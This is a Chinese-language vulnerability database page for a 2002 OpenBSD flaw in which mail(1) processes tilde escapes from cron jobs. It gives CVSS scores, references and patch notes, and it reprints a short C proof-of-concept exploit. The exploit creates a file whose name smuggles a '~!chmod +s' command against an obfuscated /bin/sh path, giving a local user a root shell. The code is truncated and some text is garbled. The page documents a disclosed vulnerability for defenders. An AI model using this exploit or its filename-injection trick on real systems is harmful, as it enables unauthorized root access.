发布时间 :2002-07-03 00:00:00
修订时间 :2016-10-17 22:20:33

[原文]mail in OpenBSD 2.9 and 3.0 processes a tilde (~) escape character in a message even when it is not in interactive mode, which could allow local users to gain root privileges via calls to mail in cron.



- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:openbsd:openbsd:2.9OpenBSD 2.9
cpe:/o:openbsd:openbsd:3.0OpenBSD 3.0

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20020411 OpenBSD Local Root Compromise
(VENDOR_ADVISORY)  BUGTRAQ  20020411 local root compromise in openbsd 3.0 and below
(VENDOR_ADVISORY)  XF  openbsd-mail-root-privileges(8818)

- 漏洞信息

高危 未知
2002-07-03 00:00:00 2005-05-02 00:00:00

- 公告与补丁

        * 严格控制本地权限。
        * 去掉crontab中mail命令部分。

- 漏洞信息 (21373)

OpenBSD 2.9/3.0 Default Crontab root Compromise Vulnerability (EDBID:21373)
openbsd local
2002-04-11 Verified
0 Przemyslaw Frasunek
N/A [点击下载]

OpenBSD ships with a number of cron jobs configured by default. The tasks are for the purpose of summarizing system information.

The mail(1) utility is used to send the summaries to the root user. This utility supports escaped characters in message text indicating commands to be executed during processing.

If attacker-supplied data can be included in the message text passed to mail(1), commands specified by the attacker may be executed as root. If the attacker embeds the escape sequence followed by an arbitrary command in this data, the commands will be executed as root when the cron task runs. It is possible for an attacker to embed data in filenames, which are included in the emails. 

 * (c) 2002
 * OpenBSD 3.0 (before 08 Apr 2002)
 * /etc/security + /usr/bin/mail local root exploit
 * Run the exploit and wait for /etc/daily executed from crontab.
 * /bin/sh will be suid root next day morning.
 * Credit goes to for discovering vulnerability.

#include <fcntl.h>

int main(void)
        int fd;

        fd = open("\n~!chmod +s `perl -e 'print \"\\057\\142\\151\\156\\057\\163\\150\"'`\n", O_CREAT|O_WRONLY, 04777);

        if (fd)

- 漏洞信息

OpenBSD mail Escape Character Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

OpenBSD contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when an eswcape character is passed to /usr/bin/mail in non-interactive mode. This flaw may lead to a loss of integrity.

- 时间线

2002-04-12 2002-04-08
2002-04-11 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, OpenBSD has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者